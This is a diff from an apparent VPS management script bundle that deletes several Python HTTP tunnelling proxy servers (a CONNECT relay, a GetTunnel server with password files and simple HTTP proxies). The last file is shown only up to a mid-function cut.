-            self.threadsLock.release()
-
-
-class ConnectionHandler(threading.Thread):
-    def __init__(self, socClient, server, addr):
-        threading.Thread.__init__(self)
-        self.clientClosed = False
-        self.targetClosed = True
-        self.client = socClient
-        self.client_buffer = ''
-        self.server = server
-        self.log = 'Connection: ' + str(addr)
-
-    def close(self):
-        try:
-            if not self.clientClosed:
-                self.client.shutdown(socket.SHUT_RDWR)
-                self.client.close()
-        except:
-            pass
-        finally:
-            self.clientClosed = True
-
-        try:
-            if not self.targetClosed:
-                self.target.shutdown(socket.SHUT_RDWR)
-                self.target.close()
-        except:
-            pass
-        finally:
-            self.targetClosed = True
-
-    def run(self):
-        try:
-            self.client_buffer = self.client.recv(BUFLEN)
-
-            hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
-
-            if hostPort == '':
-                hostPort = DEFAULT_HOST
-
-            split = self.findHeader(self.client_buffer, 'X-Split')
-
-            if split != '':
-                self.client.recv(BUFLEN)
-
-            if hostPort != '':
-                passwd = self.findHeader(self.client_buffer, 'X-Pass')
-				
-                if len(PASS) != 0 and passwd == PASS:
-                    self.method_CONNECT(hostPort)
-                elif len(PASS) != 0 and passwd != PASS:
-                    self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
-                elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
-                    self.method_CONNECT(hostPort)
-                else:
-                    self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
-            else:
-                print '- No X-Real-Host!'
-                self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
-
-        except Exception as e:
-            self.log += ' - error: ' + e.strerror
-            self.server.printLog(self.log)
-	    pass
-        finally:
-            self.close()
-            self.server.removeConn(self)
-
-    def findHeader(self, head, header):
-        aux = head.find(header + ': ')
-
-        if aux == -1:
-            return ''
-
-        aux = head.find(':', aux)
-        head = head[aux+2:]
-        aux = head.find('\r\n')
-
-        if aux == -1:
-            return ''
-
-        return head[:aux];
-
-    def connect_target(self, host):
-        i = host.find(':')
-        if i != -1:
-            port = int(host[i+1:])
-            host = host[:i]
-        else:
-            if self.method=='CONNECT':
-                port = 22
-            else:
-                port = sys.argv[1]
-
-        (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
-
-        self.target = socket.socket(soc_family, soc_type, proto)
-        self.targetClosed = False
-        self.target.connect(address)
-
-    def method_CONNECT(self, path):
-        self.log += ' - CONNECT ' + path
-
-        self.connect_target(path)
-        self.client.sendall(RESPONSE)
-        self.client_buffer = ''
-
-        self.server.printLog(self.log)
-        self.doCONNECT()
-
-    def doCONNECT(self):
-        socs = [self.client, self.target]
-        count = 0
-        error = False
-        while True:
-            count += 1
-            (recv, _, err) = select.select(socs, [], socs, 3)
-            if err:
-                error = True
-            if recv:
-                for in_ in recv:
-		    try:
-                        data = in_.recv(BUFLEN)
-                        if data:
-			    if in_ is self.target:
-				self.client.send(data)
-                            else:
-                                while data:
-                                    byte = self.target.send(data)
-                                    data = data[byte:]
-
-                            count = 0
-			else:
-			    break
-		    except:
-                        error = True
-                        break
-            if count == TIMEOUT:
-                error = True
-            if error:
-                break
-
-
-def print_usage():
-    print 'Usage: proxy.py -p <port>'
-    print '       proxy.py -b <bindAddr> -p <port>'
-    print '       proxy.py -b 0.0.0.0 -p 80'
-
-def parse_args(argv):
-    global LISTENING_ADDR
-    global LISTENING_PORT
-    
-    try:
-        opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
-    except getopt.GetoptError:
-        print_usage()
-        sys.exit(2)
-    for opt, arg in opts:
-        if opt == '-h':
-            print_usage()
-            sys.exit()
-        elif opt in ("-b", "--bind"):
-            LISTENING_ADDR = arg
-        elif opt in ("-p", "--port"):
-            LISTENING_PORT = int(arg)
-
-
-def main(host=LISTENING_ADDR, port=LISTENING_PORT):
-    print "\n:-------PythonProxy-------:\n"
-    print "Listening addr: " + LISTENING_ADDR
-    print "Listening port: " + str(LISTENING_PORT) + "\n"
-    print ":-------------------------:\n"
-    server = Server(LISTENING_ADDR, LISTENING_PORT)
-    server.start()
-    while True:
-        try:
-            time.sleep(2)
-        except KeyboardInterrupt:
-            print 'Stopping...'
-            server.close()
-            break
-
-#######    parse_args(sys.argv[1:])
-if __name__ == '__main__':
-    main()

+ 0 - 682
SCRIPT-v8.5x Mod/VPS-MX/protocolos/PGet.py

@@ -1,682 +0,0 @@
-import sys, time, getopt, socket, threading, base64
-
-
-# CONFIG
-CONFIG_LISTENING = '0.0.0.0:8799'
-CONFIG_PASS = 'pwd.pwd'
-
-
-class Logger:
-
-    logLock = threading.Lock()
-    LOG_INFO = 1
-    LOG_WARN = 2
-    LOG_ERROR = 3
-
-    def printWarn(self, log):
-        self.log(log)
-
-    def printInfo(self, log):
-        self.log(log)
-
-    def printError(self, log):
-        self.log(log)
-
-    def printLog(self, log, logLevel):
-        if logLevel == Logger.LOG_INFO:
-            self.printInfo('<-> ' + log)
-        elif logLevel == Logger.LOG_WARN:
-            self.printWarn('<!> ' + log)
-        elif logLevel == Logger.LOG_ERROR:
-            self.printError('<#> ' + log)
-
-    def log(self, log):
-        with Logger.logLock:
-            print log
-
-		
-
-class PasswordSet:
-    FILE_EXEMPLE = 'master=passwd123\n127.0.0.1:22=pwd321;321pawd\n1.23.45.67:443=pass123'
-
-    def __init__(self, masterKey=None):
-        self.masterKey = masterKey
-
-    def parseFile(self, fileName):
-        isValid = False
-
-        with open(fileName) as f:
-            content = f.readlines()
-
-        content = [x.strip() for x in content]
-        content = [item for item in content if not str(item).startswith('#')]
-
-        if len(content) > 0:
-            masterKey = content[0]
-
-            if self.splitParam(masterKey, '=') is not None and masterKey.startswith('master'):
-                self.masterKey = self.splitParam(masterKey, '=')[1]
-
-            isValid = True
-            self.map = dict()
-
-            for i, v in enumerate(content[1:]):
-                hostAndPass = self.splitParam(v, '=')
-
-                if hostAndPass is not None:
-                    self.map[hostAndPass[0]] = hostAndPass[1].split(';')
-
-        return isValid
-
-    def isValidKey(self, key, target):
-        valid = False
-
-        if not self.masterKey == key:
-            if hasattr(self, 'map'):
-                if self.map.has_key(target):
-                    valid = key in self.map[target]
-        else:
-            valid = True
-
-        return valid
-
-
-    def splitParam(self, param, c):
-        index = param.find(c)
-
-        ret = None
-
-        if index != -1:
-            ret = []
-            ret.append(param[0:index])
-            ret.append(param[index+1:])
-
-        return ret
-
-
-
-
-class ClientRequest:
-    MAX_LEN_CLIENT_REQUEST = 1024 * 100
-    HEADER_CONTENT_LENGTH = 'Content-Length'
-    HEADER_ACTION = 'X-Action'
-    ACTION_CLOSE = 'close'
-    ACTION_DATA = 'data'
-
-    def __init__(self, socket):
-        self.socket = socket
-        self.readConent = False
-
-    def parse(self):
-        line = ''
-        count = 0
-        self.isValid = False
-        self.data = None
-        self.contentLength = None
-        self.action = None
-
-        while line != '\r\n' and count < ClientRequest.MAX_LEN_CLIENT_REQUEST:
-            line = self.readHttpLine()
-
-            if line is None:
-                break
-
-            if line.startswith(ClientRequest.HEADER_ACTION):
-                self.action = self.getHeaderVal(line)
-
-                if not self.action is None:
-                    if self.action == ClientRequest.ACTION_CLOSE or self.action == ClientRequest.ACTION_DATA:
-                        self.isValid = True
-
-            count += len(line)
-
-        if self.readConent:
-            if self.contentLength > 0 and self.contentLength < ClientRequest.MAX_LEN_CLIENT_REQUEST:
-                self.data = self.readFully(self.contentLength)
-
-        return self.isValid
-
-    def readHttpLine(self):
-        line = ''
-        count = 0
-        socket = self.socket
-
-        b = socket.recv(1)
-
-        if not b:
-            return None
-
-        while count < ClientRequest.MAX_LEN_CLIENT_REQUEST:
-            count += 1
-            line += b
-
-            if b == '\r':
-                b = socket.recv(1)
-                count += 1
-
-                if not b:
-                    break
-
-                line += b
-
-                if b == '\n':
-                    break
-
-            b = socket.recv(1)
-
-            if not b:
-                break
-
-        if not b:
-            return None
-
-        return line
-
-    def getHeaderVal(self, header):
-        ini = header.find(':')
-
-        if ini == -1:
-            return None
-
-        ini += 2
-
-        fim = header.find('\r\n')
-
-        if fim == -1:
-            header = header[ini:]
-
-        return header[ini:fim]
-
-    def readFully(self, n):
-        count = 0
-        data = ''
-
-        while count < n:
-            packet = self.socket.recv(n - count)
-
-            if not packet:
-                break
-
-            count += len(packet)
-            data += packet
-
-
-
-
-class Client(threading.Thread):
-    ACTION_DATA = 'data'
-    BUFFER_SIZE = 4096
-
-    def __init__(self, id, readSocket, target):
-        super(Client, self).__init__()
-        self.targetHostPort = target
-        self.id = id
-        self.readSocket = readSocket
-        self.logger = Logger()
-        self.isStopped = False
-        self.onCloseFunction = None
-        self.closeLock = threading.Lock()
-        self.threadEndCount = 0
-        self.writeSocket = None
-
-    def connectTarget(self):
-        aux = self.targetHostPort.find(':')
-
-        host = self.targetHostPort[:aux]
-        port = int(self.targetHostPort[aux + 1:])
-
-        self.target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        self.target.connect((host, port))
-
-    def run(self):
-        try:
-            self.connectTarget()
-
-            request = ClientRequest(self.readSocket)
-            request.readConent = False
-
-            if not request.parse() or not Client.ACTION_DATA == request.action:
-                raise Exception('client sends invalid request')
-
-            threadRead = ThreadRelay(self.readSocket, self.target, self.finallyClose)
-            threadRead.logFunction = self.log
-            threadRead.start()
-
-            threadWrite = ThreadRelay(self.target, self.writeSocket, self.finallyClose)
-            threadWrite.logFunction = self.log
-            threadWrite.start()
-        except Exception as e:
-            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
-            self.close()
-
-    def finallyClose(self):
-        with self.closeLock:
-            self.threadEndCount += 1
-
-            if self.threadEndCount == 2:
-                self.close()
-
-    def close(self):
-        if not self.isStopped:
-            self.isStopped = True
-
-            if hasattr(self, 'target'):
-                try:
-                    self.target.close()
-                except:
-                    pass
-
-            if hasattr(self, 'writeSocket'):
-                try:
-                    self.writeSocket.close()
-                except:
-                    pass
-
-            if hasattr(self, 'readSocket'):
-                try:
-                    self.readSocket.close()
-                except:
-                    pass
-
-            self.onClose()
-            self.log('closed', Logger.LOG_INFO)
-
-    def onClose(self):
-        if not self.onCloseFunction is None:
-            self.onCloseFunction(self)
-
-    def log(self, msg, logLevel):
-        msg = 'Client ' + str(self.id) + ': ' + msg
-        self.logger.printLog(msg, logLevel)
-
-
-class ThreadRelay(threading.Thread):
-    def __init__(self, readSocket, writeSocket, closeFunction=None):
-        super(ThreadRelay, self).__init__()
-        self.readSocket = readSocket
-        self.writeSocket = writeSocket
-        self.logFunction = None
-        self.closeFuntion = closeFunction
-
-    def run(self):
-        try:
-            while True:
-                data = self.readSocket.recv(Client.BUFFER_SIZE)
-                if not data:
-                    break
-                self.writeSocket.sendall(data)
-
-            self.writeSocket.shutdown(socket.SHUT_WR)
-        except Exception as e:
-            if not self.logFunction is None:
-                self.logFunction('threadRelay error: ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
-        finally:
-            if not self.closeFuntion is None:
-                self.closeFuntion()
-
-
-
-
-class AcceptClient(threading.Thread):
-    MAX_QTD_BYTES = 5000
-    HEADER_BODY = 'X-Body'
-    HEADER_ACTION = 'X-Action'
-    HEADER_TARGET = 'X-Target'
-    HEADER_PASS = 'X-Pass'
-    HEADER_ID = 'X-Id'
-    ACTION_CREATE = 'create'
-    ACTION_COMPLETE = 'complete'
-    MSG_CONNECTION_CREATED = 'Created'
-    MSG_CONNECTION_COMPLETED = 'Completed'
-
-    ID_COUNT = 0
-    ID_LOCK = threading.Lock()
-
-    def __init__(self, socket, server, passwdSet=None):
-        super(AcceptClient, self).__init__()
-        self.server = server
-        self.passwdSet = passwdSet
-        self.socket = socket
-
-    def run(self):
-        needClose = True
-
-        try:
-            head = self.readHttpRequest()
-
-            bodyLen = self.getHeaderVal(head, AcceptClient.HEADER_BODY)
-            if not bodyLen is None:
-                try:
-                    self.readFully(int(bodyLen))
-                except ValueError:
-                    pass
-
-            action = self.getHeaderVal(head, AcceptClient.HEADER_ACTION)
-
-            if action is None:
-                self.log('client sends no action header', Logger.LOG_WARN)
-                self.socket.sendall('HTTP/1.1 400 NoActionHeader!\r\nServer: GetTunnelServer\r\n\r\n')
-                return
-
-            if action == AcceptClient.ACTION_CREATE:
-                target = self.getHeaderVal(head, AcceptClient.HEADER_TARGET)
-
-                if not self.passwdSet is None:
-                    passwd = self.getHeaderVal(head, AcceptClient.HEADER_PASS)
-
-                    try:
-                        passwd = base64.b64decode(passwd)
-                    except:
-                        passwd = None
-                        pass
-
-                    if passwd is None or not self.passwdSet.isValidKey(passwd, target):
-                        self.log('client sends wrong key', Logger.LOG_WARN)
-                        self.socket.sendall('HTTP/1.1 403 Forbidden\r\nServer: GetTunnelServer\r\n\r\n')
-                        return
-
-                if target is not None and self.isValidHostPort(target):
-                    id = self.generateId()
-
-                    client = Client(id, self.socket, target)
-                    client.onCloseFunction = self.server.removeClient
-                    self.server.addClient(client)
-                    self.socket.sendall('HTTP/1.1 200 '+ AcceptClient.MSG_CONNECTION_CREATED + '\r\nServer: GetTunnelServer\r\nX-Id: ' + str(id) + '\r\nContent-Type: text/plain\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n')
-                    self.log('connection created - ' + str(id), Logger.LOG_INFO)
-                    needClose = False
-                else:
-                    self.log('client sends no valid target', Logger.LOG_WARN)
-                    self.socket.sendall('HTTP/1.1 400 Target!\r\nServer: GetTunnelServer\r\n\r\n')
-
-            elif action == AcceptClient.ACTION_COMPLETE:
-                id = self.getHeaderVal(head, AcceptClient.HEADER_ID)
-
-                if not id is None:
-                    client = self.server.getClient(id)
-
-                    if not client is None:
-                        client.writeSocket = self.socket
-
-                        self.log('connection completed - ' + str(id), Logger.LOG_INFO)
-                        self.socket.sendall('HTTP/1.1 200 ' + AcceptClient.MSG_CONNECTION_COMPLETED + '\r\nServer: GetTunnelServer\r\nConnection: Keep-Alive\r\n\r\n')
-
-                        client.start()
-                        needClose = False
-                    else:
-                        self.log('client try to complete non existing connection', Logger.LOG_WARN)
-                        self.socket.sendall('HTTP/1.1 400 CreateFirst!\r\nServer: GetTunnelServer\r\n\r\n')
-                else:
-                    self.log('client sends no id header', Logger.LOG_WARN)
-                    self.socket.sendall('HTTP/1.1 400 NoID!\r\nServer: GetTunnelServer\r\n\r\n')
-            else:
-                self.log('client sends invalid action', Logger.LOG_WARN)
-                self.socket.sendall('HTTP/1.1 400 InvalidAction!\r\nServer: GetTunnelServer\r\n\r\n')
-
-        except Exception as e:
-            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
-        finally:
-            if needClose:
-                try:
-                    self.socket.close()
-                except:
-                    pass
-
-    def log(self, msg, logLevel):
-        self.server.log(msg, logLevel)
-
-    def readHttpRequest(self):
-        request = ''
-        linha = ''
-        count = 0
-
-        while linha != '\r\n' and count < AcceptClient.MAX_QTD_BYTES:
-            linha = self.readHttpLine()
-
-            if linha is None:
-                break
-
-            request += linha
-            count += len(linha)
-
-        return request
-
-    def readHttpLine(self):
-        line = ''
-        count = 0
-        socket = self.socket
-
-        b = socket.recv(1)
-
-        if not b:
-            return None
-
-        while count < AcceptClient.MAX_QTD_BYTES:
-            count += 1
-            line += b
-
-            if b == '\r':
-                b = socket.recv(1)
-                count += 1
-
-                if not b:
-                    break
-
-                line += b
-
-                if b == '\n':
-                    break
-
-            b = socket.recv(1)
-
-            if not b:
-                break
-
-        if not b:
-            return None
-
-        return line
-
-    def getHeaderVal(self, head, header):
-        if not head.startswith('\r\n'):
-            header = '\r\n' + header
-
-        if not header.endswith(': '):
-            header = header + ': '
-
-        ini = head.find(header)
-
-        if ini == -1:
-            return None
-
-        end = head.find('\r\n', ini+2)
-
-        ini += len(header)
-
-        if end == -1 or ini > end or ini >= len(head):
-            return None
-
-        return head[ini:end]
-
-    def readFully(self, n):
-        count = 0
-
-        while count < n:
-            packet = self.socket.recv(n - count)
-
-            if not packet:
-                break
-
-            count += len(packet)
-
-    def isValidHostPort(self, hostPort):
-        aux = hostPort.find(':')
-
-        if aux == -1 or aux >= len(hostPort) -1:
-            return False
-
-        try:
-            int(hostPort[aux+1:])
-            return True
-        except ValueError:
-            return False
-
-    def generateId(self):
-        with AcceptClient.ID_LOCK:
-            AcceptClient.ID_COUNT += 1
-            return AcceptClient.ID_COUNT
-
-
-
-class Server(threading.Thread):
-
-    def __init__(self, listening, passwdSet=None):
-        super(Server, self).__init__()
-        self.listening = listening
-        self.passwdSet = passwdSet
-        self.running = False
-        self.logger = Logger()
-        self.isStopped = False
-        self.clientsLock = threading.Lock()
-        self.clients = []
-
-    def run(self):
-        try:
-            self.soc = socket.socket(socket.AF_INET)
-            self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-            self.soc.settimeout(2)
-            self.soc.bind((self.listening[:self.listening.find(':')], int(self.listening[self.listening.find(':') + 1:])))
-            self.soc.listen(0)
-
-            self.log('running on ' + self.listening, Logger.LOG_INFO)
-
-            self.running = True
-            while self.running:
-                try:
-                    c, addr = self.soc.accept()
-                    c.setblocking(1)
-
-                    self.log('opennig connection - ' + str(addr), Logger.LOG_INFO)
-                    self.acceptClient(c)
-                except socket.timeout:
-                    continue
-        except Exception as e:
-            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
-        finally:
-            self.running = False
-            self.close()
-
-    def acceptClient(self, socket):
-        accept = AcceptClient(socket, self, self.passwdSet)
-        accept.start()
-
-    def addClient(self, client):
-        with self.clientsLock:
-            self.clients.append(client)
-
-    def removeClient(self, client):
-        with self.clientsLock:
-            self.clients.remove(client)
-
-    def getClient(self, id):
-        client = None
-        with self.clientsLock:
-            for c in self.clients:
-                if str(c.id) == str(id):
-                    client = c
-                    break
-        return client
-
-    def close(self):
-        if not self.isStopped:
-            self.isStopped = True
-
-            if hasattr(self, 'soc'):
-                try:
-                    self.soc.close()
-                except:
-                    pass
-
-            with self.clientsLock:
-                clientsCopy = self.clients[:]
-
-            for c in clientsCopy:
-                c.close()
-
-            self.log('closed', Logger.LOG_INFO)
-
-    def log(self, msg, logLevel):
-        msg = 'Server: ' + msg
-        self.logger.printLog(msg, logLevel)
-
-
-
-
-def print_usage():
-    print '\nUsage  : python get.py -b listening -p pass'
-    print 'Ex.    : python get.py -b 0.0.0.0:80 -p pass123'
-    print '       : python get.py -b 0.0.0.0:80 -p passFile.pwd\n'
-    print '___Password file ex.:___'
-    print PasswordSet.FILE_EXEMPLE
-
-def parse_args(argv):
-    global CONFIG_LISTENING
-    global CONFIG_PASS
-
-    try:
-        opts, args = getopt.getopt(argv, "hb:p:", ["bind=", "pass="])
-    except getopt.GetoptError:
-        print_usage()
-        sys.exit(2)
-    for opt, arg in opts:
-        if opt == '-h':
-            print_usage()
-            sys.exit()
-        elif opt in ('-b', '--bind'):
-            CONFIG_LISTENING = arg
-        elif opt in ('-p', '--pass'):
-            CONFIG_PASS = arg
-
-def main():
-    print '\n-->GetTunnelPy - Server v.' + '25/06/2017' + '\n'
-    print '-->Listening: ' + CONFIG_LISTENING
-
-    pwdSet = None
-
-    if not CONFIG_PASS is None:
-        if CONFIG_PASS.endswith('.pwd'):
-            pwdSet = PasswordSet()
-
-            try:
-                isValidFile = pwdSet.parseFile(CONFIG_PASS)
-            except IOError as e:
-                print '--#Error reading file: ' + str(type(e)) + ' - ' + str(e)
-                sys.exit()
-
-            if not isValidFile:
-                print '--#Error on parsing file!\n'
-                print_usage()
-                return
-
-            print '-->Pass file: ' + CONFIG_PASS + '\n'
-        else:
-            if (len(CONFIG_PASS) > 0):
-                print '-->Pass     : yes\n'
-                pwdSet = PasswordSet(CONFIG_PASS)
-            else:
-                print '-->Pass     : no\n'
-
-    server = Server(CONFIG_LISTENING)
-    server.passwdSet = pwdSet
-    server.start()
-
-    while True:
-        try:
-            time.sleep(2)
-        except KeyboardInterrupt:
-            print '<-> Stopping server...'
-            server.running = False
-            break
-
-if __name__ == '__main__':
-    parse_args(sys.argv[1:])
-    main()

+ 0 - 313
SCRIPT-v8.5x Mod/VPS-MX/protocolos/POpen.py

@@ -1,313 +0,0 @@
-#!/usr/bin/env python
-
-import sys
-import httplib
-from SocketServer import ThreadingMixIn
-from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
-from threading import Lock, Timer
-from cStringIO import StringIO
-from urlparse import urlsplit
-import socket
-import select
-import gzip
-import zlib
-import re
-import traceback
-
-
-class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
-
-    address_family = socket.AF_INET
-
-    def handle_error(self, request, client_address):
-        
-        print >>sys.stderr, '-'*40
-        print >>sys.stderr, 'Exception happened during processing of request from', client_address
-        traceback.print_exc()
-        print >>sys.stderr, '-'*40
-        
-     
-class ThreadingHTTPServer6(ThreadingHTTPServer):
-
-    address_family = socket.AF_INET6
-
-
-class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
-    global_lock = Lock()
-    conn_table = {}
-    timeout = 300               
-    upstream_timeout = 300    
-    proxy_via = None          
-
-    def log_error(self, format, *args):
-        if format == "Request timed out: %r":
-            return
-        self.log_message(format, *args)
-
-    def do_CONNECT(self):
-        
-
-        req = self
-        reqbody = None
-        req.path = "https://%s/" % req.path.replace(':443', '')
-
-        replaced_reqbody = self.request_handler(req, reqbody)
-        if replaced_reqbody is True:
-            return
-
-        u = urlsplit(req.path)
-        address = (u.hostname, u.port or 443)
-        try:
-            conn = socket.create_connection(address)
-        except socket.error:
-            return
-        self.send_response(200, 'SOCKS5')
-        self.send_header('Connection', 'close')
-        self.end_headers()
-
-        conns = [self.connection, conn]
-        keep_connection = True
-        while keep_connection:
-            keep_connection = False
-            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
-            if xlist:
-                break
-            for r in rlist:
-                other = conns[1] if r is conns[0] else conns[0]
-                data = r.recv(8192)
-                if data:
-                    other.sendall(data)
-                    keep_connection = True
-        conn.close()
-
-    def do_HEAD(self):
-        self.do_SPAM()
-
-    def do_GET(self):
-        self.do_SPAM()
-
-    def do_POST(self):
-        self.do_SPAM()
-
-    def do_SPAM(self):
-        req = self
-        content_length = int(req.headers.get('Content-Length', 0))
-        if content_length > 0:
-            reqbody = self.rfile.read(content_length)
-        else:
-            reqbody = None
-
-        replaced_reqbody = self.request_handler(req, reqbody)
-        if replaced_reqbody is True:
-            return
-        elif replaced_reqbody is not None:
-            reqbody = replaced_reqbody
-            if 'Content-Length' in req.headers:
-                req.headers['Content-Length'] = str(len(reqbody))
-
-        
-        self.remove_hop_by_hop_headers(req.headers)
-        if self.upstream_timeout:
-            req.headers['Connection'] = 'Keep-Alive'
-        else:
-            req.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(req.headers)
-
-        try:
-            res, resdata = self.request_to_upstream_server(req, reqbody)
-        except socket.error:
-            return
-
-        content_encoding = res.headers.get('Content-Encoding', 'identity')
-        resbody = self.decode_content_body(resdata, content_encoding)
-
-        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
-        if replaced_resbody is True:
-            return
-        elif replaced_resbody is not None:
-            resdata = self.encode_content_body(replaced_resbody, content_encoding)
-            if 'Content-Length' in res.headers:
-                res.headers['Content-Length'] = str(len(resdata))
-            resbody = replaced_resbody
-
-        self.remove_hop_by_hop_headers(res.headers)
-        if self.timeout:
-            res.headers['Connection'] = 'Keep-Alive'
-        else:
-            res.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(res.headers)
-
-        self.send_response(res.status, res.reason)
-        for k, v in res.headers.items():
-            if k == 'set-cookie':
-                
-                for value in self.split_set_cookie_header(v):
-                    self.send_header(k, value)
-            else:
-                self.send_header(k, v)
-        self.end_headers()
-
-        if self.command != 'HEAD':
-            self.wfile.write(resdata)
-            with self.global_lock:
-                self.save_handler(req, reqbody, res, resbody)
-
-    def request_to_upstream_server(self, req, reqbody):
-        u = urlsplit(req.path)
-        origin = (u.scheme, u.netloc)
-
-        
-        req.headers['Host'] = u.netloc
-        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
-
-        while True:
-            with self.lock_origin(origin):
-                conn = self.open_origin(origin)
-                try:
-                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
-                except socket.error:
-                    
-                    self.close_origin(origin)
-                    raise
-                try:
-                    res = conn.getresponse(buffering=True)
-                except httplib.BadStatusLine as e:
-                    if e.line == "''":
-                        
-                        self.close_origin(origin)
-                        continue
-                    else:
-                        raise
-                resdata = res.read()
-                res.headers = res.msg    
-                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
-                    self.close_origin(origin)
-                else:
-                    self.reset_timer(origin)
-            return res, resdata
-
-    def lock_origin(self, origin):
-        d = self.conn_table.setdefault(origin, {})
-        if not 'lock' in d:
-            d['lock'] = Lock()
-        return d['lock']
-
-    def open_origin(self, origin):
-        conn = self.conn_table[origin].get('connection')
-        if not conn:
-            scheme, netloc = origin
-            if scheme == 'https':
-                conn = httplib.HTTPSConnection(netloc)
-            else:
-                conn = httplib.HTTPConnection(netloc)
-            self.reset_timer(origin)
-            self.conn_table[origin]['connection'] = conn
-        return conn
-
-    def reset_timer(self, origin):
-        timer = self.conn_table[origin].get('timer')
-        if timer:
-            timer.cancel()
-        if self.upstream_timeout:
-            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
-            timer.daemon = True
-            timer.start()
-        else:
-            timer = None
-        self.conn_table[origin]['timer'] = timer
-
-    def close_origin(self, origin):
-        timer = self.conn_table[origin]['timer']
-        if timer:
-            timer.cancel()
-        conn = self.conn_table[origin]['connection']
-        conn.close()
-        del self.conn_table[origin]['connection']
-
-    def remove_hop_by_hop_headers(self, headers):
-        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
-        connection = headers.get('Connection')
-        if connection:
-            keys = re.split(r',\s*', connection)
-            hop_by_hop_headers.extend(keys)
-
-        for k in hop_by_hop_headers:
-            if k in headers:
-                del headers[k]
-
-    def modify_via_header(self, headers):
-        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
-        via_string = re.sub(r'^HTTP/', '', via_string)
-
-        original = headers.get('Via')
-        if original:
-            headers['Via'] = original + ', ' + via_string
-        else:
-            headers['Via'] = via_string
-
-    def decode_content_body(self, data, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO(data)
-            with gzip.GzipFile(fileobj=io) as f:
-                body = f.read()
-        elif content_encoding == 'deflate':
-            body = zlib.decompress(data)
-        elif content_encoding == 'identity':
-            body = data
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return body
-
-    def encode_content_body(self, body, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO()
-            with gzip.GzipFile(fileobj=io, mode='wb') as f:
-                f.write(body)
-            data = io.getvalue()
-        elif content_encoding == 'deflate':
-            data = zlib.compress(body)
-        elif content_encoding == 'identity':
-            data = body
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return data
-
-    def split_set_cookie_header(self, value):
-        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
-        return re.findall(re_cookies, value, flags=re.IGNORECASE)
-
-    def request_handler(self, req, reqbody):
-        
-        pass
-
-    def response_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-    def save_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-
-# Port
-
-def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
-    if sys.argv[1:]:
-        port = int(sys.argv[1])
-    else:
-        port = 80
-    server_address = ('', port)
-
-    HandlerClass.protocol_version = protocol
-    httpd = ServerClass(server_address, HandlerClass)
-
-    sa = httpd.socket.getsockname()
-    print "Serving HTTP on", sa[0], "port", sa[1], "..."
-    httpd.serve_forever()
-
-
-if __name__ == '__main__':
-    test()
-

+ 0 - 335
SCRIPT-v8.5x Mod/VPS-MX/protocolos/PPriv.py

@@ -1,335 +0,0 @@
-#!/usr/bin/env python
-
-# -*- coding: utf-8 -*-
-# Edit By GlEmYsSoN & @e8th4ever
-
-from pprint import pprint
-import sys
-import http.client
-from socketserver import ThreadingMixIn
-from http.server import HTTPServer, BaseHTTPRequestHandler
-from threading import Lock, Timer
-from io import StringIO
-from urllib.parse import urlsplit
-import socket
-import select
-import gzip
-import zlib
-import re
-import traceback
-import subprocess
-subprocess.call("clear",shell=True)
-
-if sys.argv[2:]:
- msg1 = sys.argv[2]
-else:
- msg1 = 'ADM-ULTIMATE'
-
-if sys.argv[3:]:
- server = sys.argv[3]
-else:
- server = "127.0.0.1"
-
-msg2 = 'Server Forbidden'
-
-class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
-
-    address_family = socket.AF_INET
-
-    def handle_error(self, request, client_address):
-        
-        print('-'*40, file=sys.stderr)
-        print('Exception happened during processing of request from', client_address, file=sys.stderr)
-        traceback.print_exc()
-        print('-'*40, file=sys.stderr)
-        
-     
-class ThreadingHTTPServer6(ThreadingHTTPServer):
-
-    address_family = socket.AF_INET6
-
-
-class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
-    global_lock = Lock()
-    conn_table = {}
-    timeout = 300               
-    upstream_timeout = 300    
-    proxy_via = None          
-
-    def log_error(self, format, *args):
-        if format == "Request timed out: %r":
-            return
-        self.log_message(format, *args)
-
-    def do_CONNECT(self):
-
-        req = self
-        reqbody = None
-        if ':22' in req.path:
-            hostip = req.path.replace(':22', '')
-        elif ':443' in req.path:
-            hostip = req.path.replace(':443', '')
-        req.path = "https://%s/" % req.path.replace(':443', '')
-
-        replaced_reqbody = self.request_handler(req, reqbody)
